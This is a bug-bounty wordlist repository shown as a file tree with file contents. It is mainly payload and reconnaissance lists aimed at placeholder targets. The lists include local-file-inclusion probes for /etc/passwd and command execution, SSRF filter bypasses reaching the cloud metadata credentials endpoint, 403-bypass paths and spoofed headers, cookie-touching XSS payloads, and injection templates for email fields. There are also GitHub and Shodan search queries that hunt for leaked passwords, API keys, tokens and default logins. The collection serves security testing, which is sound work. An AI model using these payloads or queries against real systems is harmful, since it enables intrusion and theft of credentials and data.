├── Passwords.txt
├── Subdomains.txt
├── Attacks
├── SpaceReplace.txt
├── Authorisation
│ ├── prefix.txt
│ ├── suffix.txt
│ ├── Headers.txt
│ └── 403-bypass.txt
├── LFI
│ ├── Windows
│ │ ├── Tester.txt
│ │ └── Interesting-Files.txt
│ ├── params.txt
│ ├── Linux
│ │ ├── Tester.txt
│ │ ├── Injection-Test.txt
│ │ └── Interesting-Files.txt
│ └── Traversal.txt
├── Open-Redirect
│ ├── Dorks.txt
│ ├── JS-APIs.txt
│ ├── One-liners.txt
│ ├── Filter-bypass.txt
│ └── Interesting-url-params.txt
├── SSRF
│ ├── URL-Schemas.txt
│ ├── Whitelist-bypass.txt
│ └── Blacklist-bypass.txt
├── Authentication
│ ├── Email-payloads.txt
│ └── SQLi bypass.txt
├── Command-Injection
│ ├── Common-Vuln-Params.txt
│ └── CommandInjection.txt
├── SQLi
│ ├── Common-Vuln-Params.txt
│ └── SQLi-Discovery.txt
├── XSS
│ ├── Filter-Test.txt
│ └── Payloads.txt
├── RevOneLiners.txt
├── XXE
│ ├── Payloads.txt
│ └── localDTD.txt
└── CommandInjection.txt
├── Directories.txt
├── gf-json-filters
├── SSTI.txt
├── subdomains.txt
├── IDOR.txt
├── SQLi.json
├── rce.json
├── LFI.json
├── SSRF.json
├── OpenRedirect.json
└── xss.json
├── README.md
├── Enum
├── ShodanDorks.txt
└── Githubdorks.txt
└── Extensions.txt
/Passwords.txt:
--------------------------------------------------------------------------------
1 | password
2 |
--------------------------------------------------------------------------------
/Subdomains.txt:
--------------------------------------------------------------------------------
1 | blog
2 | dev
3 |
--------------------------------------------------------------------------------
/Attacks/SpaceReplace.txt:
--------------------------------------------------------------------------------
1 | \t
2 | \n
3 | +
4 | %20
5 | ${IFS}
6 |
--------------------------------------------------------------------------------
/Directories.txt:
--------------------------------------------------------------------------------
1 | .git
2 | admin
3 | dev
4 | code
5 | login
6 |
--------------------------------------------------------------------------------
/Attacks/Authorisation/prefix.txt:
--------------------------------------------------------------------------------
1 | /
2 | //
3 | /./
4 | /%2e/
5 | /%20
6 |
--------------------------------------------------------------------------------
/Attacks/LFI/Windows/Tester.txt:
--------------------------------------------------------------------------------
1 | C:\boot.ini
2 | C:\WINDOWS\win.ini
3 |
--------------------------------------------------------------------------------
/Attacks/Open-Redirect/Dorks.txt:
--------------------------------------------------------------------------------
1 | site:{target} inurl:%2f
2 | site:{target} inurl:%3f
3 | site:{target} inurl:%3a
4 |
--------------------------------------------------------------------------------
/Attacks/Authorisation/suffix.txt:
--------------------------------------------------------------------------------
1 |
2 | /
3 | /.
4 | //
5 | /./
6 | %20/
7 | %20/page
8 | /*
9 | /%2f/
10 | ./.
11 | /*/
12 |
--------------------------------------------------------------------------------
/Attacks/SSRF/URL-Schemas.txt:
--------------------------------------------------------------------------------
1 | http://
2 | https://
3 | file:///
4 | dict://
5 | ftp://
6 | gopher://
7 | sftp://
8 | ldap://
9 | tftp://
10 |
--------------------------------------------------------------------------------
/Attacks/Open-Redirect/JS-APIs.txt:
--------------------------------------------------------------------------------
1 | document.location
2 | document.URL
3 | document.open()
4 | window.location.href
5 | window.navigate()
6 | window.open()
7 |
--------------------------------------------------------------------------------
/Attacks/Authorisation/Headers.txt:
--------------------------------------------------------------------------------
1 | X-Forwarded-For:
2 | X-Forwarded-By:
3 | X-Forwarded:
4 | X-Forwarded-For-Original:
5 | X-Forwarder-For:
6 | Forwarded:
7 | Forwarded-For:
8 | Forwarded-For-Ip:
9 | Referer:
10 |
--------------------------------------------------------------------------------
/gf-json-filters/SSTI.txt:
--------------------------------------------------------------------------------
1 | {
2 | "flags": "-iE",
3 | "patterns": [
4 |
5 | "template=",
6 | "preview=",
7 | "id=",
8 | "view=",
9 | "activity=",
10 | "name=",
11 | "content=",
12 | "redirect="
13 | ]
14 | }
15 |
--------------------------------------------------------------------------------
/Attacks/Authentication/Email-payloads.txt:
--------------------------------------------------------------------------------
1 | #replace {payload} with SQLi, XSS or RCE etc
2 |
3 | "{payload}"@domain.com
4 | name@"{payload}"domain.com
5 | name({payload})@domain.com
6 | name@({payload})@domain.com
7 | name@domain.com({payload})
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Wordlists
2 | A repository of wordlists for enumeration.
3 |
4 | Contains json files to run with gf to fins common params vulnerable to exploits
5 | wordlists for common bug bounty vunerabilities
6 | other useful wordlists for infosec and bug bounty
7 |
--------------------------------------------------------------------------------
/gf-json-filters/subdomains.txt:
--------------------------------------------------------------------------------
1 | {
2 | "flags": "-iE",
3 | "patterns": [
4 | "admin",
5 | "jenkins",
6 | "test",
7 | "proxy",
8 | "stage",
9 | "test",
10 | "dev",
11 | "devops",
12 | "staff",
13 | "db",
14 | "qa",
15 | "internal"
16 | ]
17 | }
18 |
--------------------------------------------------------------------------------
/Attacks/Authorisation/403-bypass.txt:
--------------------------------------------------------------------------------
1 | /{file}
2 | /{file}/
3 | /{file}/.
4 | //{file}//
5 | /./{file}/./
6 | /%2e/{file}
7 | /{file}%20/
8 | /%20{file}%20/
9 | /{file}%20/page
10 | # change protocol from to http to https or vice versa
11 | # change request method, eg GET to POST
12 |
--------------------------------------------------------------------------------
/gf-json-filters/IDOR.txt:
--------------------------------------------------------------------------------
1 | {
2 | "flags": "-iE",
3 | "patterns": [
4 |
5 | "id=",
6 | "user=",
7 | "account=",
8 | "number=",
9 | "order=",
10 | "no=",
11 | "doc=",
12 | "key=",
13 | "email=",
14 | "group=",
15 | "profile=",
16 | "edit=",
17 | "report="
18 |
19 | ]
20 | }
21 |
--------------------------------------------------------------------------------
/Attacks/LFI/params.txt:
--------------------------------------------------------------------------------
1 | cat=
2 | dir=
3 | board=
4 | date=
5 | lang=
6 | detail=
7 | file=
8 | download=
9 | path=
10 | folder=
11 | prefix=
12 | include=
13 | page=
14 | inc=
15 | locate=
16 | show=
17 | doc=
18 | site=
19 | type=
20 | view=
21 | content=
22 | document=
23 | layout=
24 | mod=
25 | conf=
26 |
--------------------------------------------------------------------------------
/Enum/ShodanDorks.txt:
--------------------------------------------------------------------------------
1 | #replace {org} with target organisation name
2 |
3 | "default password" org:{org}
4 | "230 login successful" port:21 org:{org}
5 | vsftpd 2.3.4 port:21 org:{org}
6 | 230 'anonymous@' login ok org:{org}
7 | guest login ok org:{org}
8 | port:21 -530 +230 +{org}
9 | port:80 title:protected org:{org}
10 |
--------------------------------------------------------------------------------
/Attacks/Command-Injection/Common-Vuln-Params.txt:
--------------------------------------------------------------------------------
1 | cmd=
2 | exec=
3 | command=
4 | ping=
5 | execute=
6 | query=
7 | jump=
8 | code=
9 | reg=
10 | do=
11 | func=
12 | arg=
13 | option=
14 | load=
15 | process=
16 | step=
17 | read=
18 | function=
19 | req=
20 | feature=
21 | exe=
22 | module=
23 | payload=
24 | run=
25 | print=
26 |
--------------------------------------------------------------------------------
/Enum/Githubdorks.txt:
--------------------------------------------------------------------------------
1 | #replace {target} with target domain name
2 | "{target}" send_keys
3 | "{target}" password
4 | "{target}" api_key
5 | "{target}" apikey
6 | "{target}" jira_password
7 | "{target}" root password
8 | "{target}" access_token
9 | "{target}" config
10 | "{target}" client_secret
11 | "{target}" user auth
12 | "{target}" pwd=
13 |
--------------------------------------------------------------------------------
/Attacks/Open-Redirect/One-liners.txt:
--------------------------------------------------------------------------------
1 | ~/go/bin/gau https://{target} -s | head -n 5000 > ~/Projects/BugBounty/Targets/redirecturls.txt; cat ~/Projects/BugBounty/Targets/redirecturls.txt | sort -u | grep -a -i \=http | tee ~/Projects/BugBounty/Targets/{target}_redirects.txt
2 |
3 | python paramspider.py --domain {target} | tee ~/Project/BugBounty/Targets/{target}.txt ; ~/go/bin/gf redirect {target}.txt
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Attacks/LFI/Linux/Tester.txt:
--------------------------------------------------------------------------------
1 | etc/passwd
2 | etc/passwd%00
3 | etc%2fpasswd
4 | etc%2fpasswd%00
5 | etc%5cpasswd
6 | etc%5cpasswd%00
7 | etc%c0%afpasswd
8 | etc%c0%afpasswd%00
9 | etc/passwd%2500
10 | file:///etc/passwd
11 | php://filter/resource=/etc/passwd
12 | php://input&cmd=ls
13 | expect://ls
14 | php://filter/convert.base64-encode/resource=/etc/passwd
15 | etc/passwd…………………………………………………………………………….
16 | etc/passwd/../../../../../../../../../../../../../../../../../..
17 |
--------------------------------------------------------------------------------
/gf-json-filters/SQLi.json:
--------------------------------------------------------------------------------
1 | {
2 |
3 | "flags" : "-HanrE",
4 | "patterns" : [
5 | "id=",
6 | "page=",
7 | "dir=",
8 | "search=",
9 | "category=",
10 | "class=",
11 | "file=",
12 | "url=",
13 | "news=",
14 | "item=",
15 | "menu=",
16 | "lang=",
17 | "name=",
18 | "ref=",
19 | "title=",
20 | "view=",
21 | "topic=",
22 | "thread=",
23 | "type=",
24 | "date=",
25 | "form=",
26 | "join=",
27 | "main=",
28 | "nav=",
29 | "region="
30 | ]
31 | }
32 |
--------------------------------------------------------------------------------
/gf-json-filters/rce.json:
--------------------------------------------------------------------------------
1 | {
2 |
3 | "flags" : "-HanrE",
4 | "patterns" : [
5 | "cmd=",
6 | "exec=",
7 | "command=",
8 | "ping=",
9 | "execute=",
10 | "query=",
11 | "jump=",
12 | "code=",
13 | "reg=",
14 | "do=",
15 | "func=",
16 | "arg=",
17 | "option=",
18 | "load=",
19 | "process=",
20 | "step=",
21 | "read=",
22 | "function=",
23 | "req=",
24 | "feature=",
25 | "exe=",
26 | "module=",
27 | "payload=",
28 | "run=",
29 | "print="
30 | ]
31 | }
32 |
--------------------------------------------------------------------------------
/gf-json-filters/LFI.json:
--------------------------------------------------------------------------------
1 | {
2 | "flags" : "-HanrE",
3 | "patterns" : [
4 | "cat=",
5 | "dir=",
6 | "action=",
7 | "board=",
8 | "date=",
9 | "detail=",
10 | "file=",
11 | "download=",
12 | "path=",
13 | "folder=",
14 | "prefix=",
15 | "include=",
16 | "page=",
17 | "inc=",
18 | "locate=",
19 | "show=",
20 | "doc=",
21 | "site=",
22 | "type=",
23 | "view=",
24 | "content=",
25 | "document=",
26 | "layout=",
27 | "mod=",
28 | "conf=",
29 | ".txt"
30 | ]
31 | }
32 |
--------------------------------------------------------------------------------
/gf-json-filters/SSRF.json:
--------------------------------------------------------------------------------
1 | {
2 | "flags" : "-HanrE",
3 | "patterns" : [
4 | "dest=",
5 | "redirect=",
6 | "uri=",
7 | "path=",
8 | "continue=",
9 | "url=",
10 | "window=",
11 | "next=",
12 | "data=",
13 | "reference=",
14 | "site=",
15 | "html=",
16 | "val=",
17 | "validate=",
18 | "domain=",
19 | "callback=",
20 | "return=",
21 | "page=",
22 | "feed=",
23 | "host=",
24 | "port=",
25 | "to=",
26 | "out=",
27 | "view=",
28 | "dir=",
29 | "=http"
30 | ]
31 | }
32 |
--------------------------------------------------------------------------------
/gf-json-filters/OpenRedirect.json:
--------------------------------------------------------------------------------
1 | {
2 |
3 | "flags" : "-HanrE",
4 | "patterns" : [
5 | "url=",
6 | "from_url=",
7 | "load_url=",
8 | "file_url=",
9 | "page_url=",
10 | "file_name=",
11 | "page=",
12 | "folder=",
13 | "folder_url=",
14 | "login_url=",
15 | "img_url=",
16 | "return_url=",
17 | "return_to=",
18 | "next=",
19 | "redirect=",
20 | "redirect_to=",
21 | "logout=",
22 | "checkout=",
23 | "checkout_url=",
24 | "goto=",
25 | "next_page=",
26 | "file=",
27 | "load_file=",
28 | "=http"
29 | ]
30 | }
31 |
--------------------------------------------------------------------------------
/Attacks/SQLi/Common-Vuln-Params.txt:
--------------------------------------------------------------------------------
1 | ?id=
2 | ?page=
3 | ?dir=
4 | ?search=
5 | ?category=
6 | ?class=
7 | ?file=
8 | ?url=
9 | ?news=
10 | ?item=
11 | ?menu=
12 | ?lang=
13 | ?name=
14 | ?ref=
15 | ?title=
16 | ?view=
17 | ?topic=
18 | ?thread=
19 | ?type=
20 | ?date=
21 | ?form=
22 | ?join=
23 | ?main=
24 | ?nav=
25 | ?region=
26 | &id=
27 | &page=
28 | &dir=
29 | &search=
30 | &category=
31 | &class=
32 | &file=
33 | &url=
34 | &news=
35 | &item=
36 | &menu=
37 | &lang=
38 | &name=
39 | &ref=
40 | &title=
41 | &view=
42 | &topic=
43 | &thread=
44 | &type=
45 | &date=
46 | &form=
47 | &join=
48 | &main=
49 | &nav=
50 | ®ion=
51 |
--------------------------------------------------------------------------------
/Attacks/XSS/Filter-Test.txt:
--------------------------------------------------------------------------------
1 | 221b20221b20<
2 | 221b20221b20"
3 | 221b20221b20">
4 | 221b20221b20<>
5 | 221b20221b20
14 | 221b20221b20javascipt
15 | 221b20221b20jaVaScript
16 | 221b20221b20javascipt:
17 | 221b20221b20jaVaScript:
18 | 221b20221b20jaVaScript:alert
19 | 221b20221b20jaVaScript:alert()
20 | 221b20221b20alert
21 | 221b20221b20-alert()
22 | 221b20221b20
23 |
--------------------------------------------------------------------------------
/Attacks/SSRF/Whitelist-bypass.txt:
--------------------------------------------------------------------------------
1 | http://{domain}@127.0.0.1
2 | http://127.0.0.1#{domain}
3 | http://{domain}.127.0.0.1
4 | http://127.0.0.1/{domain}
5 | http://127.0.0.1/?d={domain}
6 | https://{domain}@127.0.0.1
7 | https://127.0.0.1#{domain}
8 | https://{domain}.127.0.0.1
9 | https://127.0.0.1/{domain}
10 | https://127.0.0.1/?d={domain}
11 | http://{domain}@localhost
12 | http://localhost#{domain}
13 | http://{domain}.localhost
14 | http://localhost/{domain}
15 | http://localhost/?d={domain}
16 | http://127.0.0.1%00{domain}
17 | http://127.0.0.1?{domain}
18 | http://127.0.0.1///{domain}
19 | https://127.0.0.1%00{domain}
20 | https://127.0.0.1?{domain}
21 | https://127.0.0.1///{domain}
22 |
--------------------------------------------------------------------------------
/Attacks/SSRF/Blacklist-bypass.txt:
--------------------------------------------------------------------------------
1 | 127.0.0.1
2 | 127.1
3 | 127.000.000.1
4 | localhost
5 | 127.0.0.2
6 | 0x7f.0x0.0x0.0x1
7 | 0177.0.0.01
8 | 01111111000000000000000000000001
9 | 01111111.00000000.00000000.00000001
10 | 2130706433
11 | %6c%6f%63%61%6c%68%6f%73%74
12 | 0177.0.0.0x1
13 | 169.254.169.254
14 | 169.254.169.254/latest/meta-data/iam/security-credentials/
15 | 169.254.169.254/latest/meta-data/hostname
16 | fuf.me
17 | localtest.me
18 | ulh.us
19 | 127-0-0-1.org.uk
20 | ratchetlocal.com
21 | smackaho.st
22 | 42foo.com
23 | vcap.me
24 | beweb.com
25 | yoogle.com
26 | ortkut.com
27 | feacebook.com
28 | lvh.me
29 | 127.127.127.127
30 | 127.0.0.0
31 | 0
32 | 1.1.1.1 &@2.2.2.2# @3.3.3.3
33 | urllib: 3.3.3.3
34 | [::]:80
35 | [::]:443
36 | 0000::1:80
37 |
--------------------------------------------------------------------------------
/gf-json-filters/xss.json:
--------------------------------------------------------------------------------
1 | {
2 | "flags" : "-HanrE",
3 | "patterns" : [
4 | "callback=",
5 | "jsonp=",
6 | "api_key=",
7 | "api=",
8 | "password=",
9 | "email=",
10 | "emailto=",
11 | "token=",
12 | "username=",
13 | "csrf_token=",
14 | "unsubscribe_token=",
15 | "p=",
16 | "q=",
17 | "query=",
18 | "search=",
19 | "id=",
20 | "item=",
21 | "page_id=",
22 | "s=",
23 | "lang=",
24 | "keywords=",
25 | "page=",
26 | "year=",
27 | "view=",
28 | "email=",
29 | "type=",
30 | "name=",
31 | "month=",
32 | "immagine=",
33 | "list_type=",
34 | "url=",
35 | "terms",
36 | "categoryid=",
37 | "key=",
38 | "l=",
39 | "begindate=",
40 | "enddate="
41 | ]
42 | }
43 |
--------------------------------------------------------------------------------
/Attacks/XSS/Payloads.txt:
--------------------------------------------------------------------------------
1 | javascript://%e2%80%a8alert(document.cookie);
2 | a=8,b=confirm,c=window,c.onerror=b;throw-a
3 |